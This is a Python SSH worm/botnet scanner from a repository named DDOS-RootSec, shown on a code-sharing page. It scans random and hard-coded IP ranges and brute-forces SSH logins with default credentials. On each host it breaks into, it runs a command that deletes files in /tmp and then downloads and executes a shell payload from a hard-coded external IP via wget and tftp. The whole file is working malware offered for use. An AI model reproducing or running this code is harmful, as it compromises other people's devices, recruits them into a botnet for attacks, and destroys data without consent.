Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Scanning/AUTOSCANNER/B1nary.py
5038 views
1
#!/usr/bin/env python
2
"""
3
4
# ___ __________ ____ _______ _____ _______________.___. ___
5
# / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\
6
# \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/
7
# | | \ | / | \/ | \ | \\____ |
8
# |______ / |___\____|__ /\____|__ /____|_ // ______|
9
# \/ \/ \/ \/ \/
10
11
"""
12
13
import threading, paramiko, random, socket, time, sys
14
15
cmd='cd /tmp; rm -rf *;busybox wget -q http://208.67.1.117/gtop.sh; chmod +x gtop.sh; sh gtop.sh; rm -rf *; busybox tftp -r tftp.sh -g ; sh tftp.sh; busybox tftp -c get tftp2.sh; sh tftp2.sh\r\n'
16
blacklist = [
17
'127'
18
]
19
passwords = [
20
"root:root",
21
"root:admin",
22
"admin:admin",
23
"ubnt:ubnt"
24
"root:1234",
25
"admin:1234",
26
"guest:guest",
27
"user:user",
28
"test:test",
29
"pi:raspberry",
30
"vagrant:vagrant"
31
]
32
33
if sys.argv[4] == '1':
34
passwords = ["root:root", "root:admin", "admin:1234"]
35
36
ipclassinfo = sys.argv[2]
37
if ipclassinfo == "A":
38
ip1 = sys.argv[3]
39
elif ipclassinfo == "B":
40
ip1 = sys.argv[3].split(".")[0]
41
ip2 = sys.argv[3].split(".")[1]
42
elif ipclassinfo == "C":
43
ips = sys.argv[3].split(".")
44
num=0
45
for ip in ips:
46
num=num+1
47
if num == 1:
48
ip1 = ip
49
elif num == 2:
50
ip2 = ip
51
elif num == 3:
52
ip3 = ip
53
class sshscanner(threading.Thread):
54
global passwords
55
global ipclassinfo
56
if ipclassinfo == "A":
57
global ip1
58
elif ipclassinfo == "B":
59
global ip1
60
global ip2
61
elif ipclassinfo == "C":
62
global ip1
63
global ip2
64
global ip3
65
def run(self):
66
while 1:
67
try:
68
while 1:
69
thisipisbad='no'
70
if ipclassinfo == "A":
71
self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
72
elif ipclassinfo == "B":
73
self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
74
elif ipclassinfo == "C":
75
self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
76
elif ipclassinfo == "BRAZIL":
77
br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
78
self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
79
elif ipclassinfo == "SUPER":
80
yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
81
self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
82
elif ipclassinfo == "LUCKY":
83
lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
84
self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
85
elif ipclassinfo == "LUCKY2":
86
lucky2 = [ "122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118","37.237","37.238","37.239","37.236","191.53","186.208","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97","119.91","119.92","119.93","119.94","119.95"]
87
self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
88
elif ipclassinfo == "RAND":
89
self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
90
elif ipclassinfo == "INTERNET":
91
lol = ["1"]
92
self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
93
else:
94
self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
95
for badip in blacklist:
96
if badip in self.host:
97
thisipisbad='yes'
98
if thisipisbad=='no':
99
break
100
username='root'
101
password=""
102
port = 22
103
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
104
s.settimeout(3)
105
s.connect((self.host, port))
106
s.close()
107
ssh = paramiko.SSHClient()
108
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
109
dobreak=False
110
for passwd in passwords:
111
if ":n/a" in passwd:
112
password=""
113
else:
114
password=passwd.split(":")[1]
115
if "n/a:" in passwd:
116
username=""
117
else:
118
username=passwd.split(":")[0]
119
try:
120
ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
121
dobreak=True
122
break
123
except:
124
pass
125
if True == dobreak:
126
break
127
badserver=True
128
stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
129
output = stdout.read()
130
if "inet addr" in output:
131
badserver=False
132
if badserver == False:
133
print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)
134
ssh.exec_command(""+cmd+"")
135
time.sleep(20)
136
ssh.close()
137
except:
138
pass
139
140
for x in range(0,int(sys.argv[1])):
141
try:
142
t = sshscanner()
143
t.start()
144
except:
145
pass
146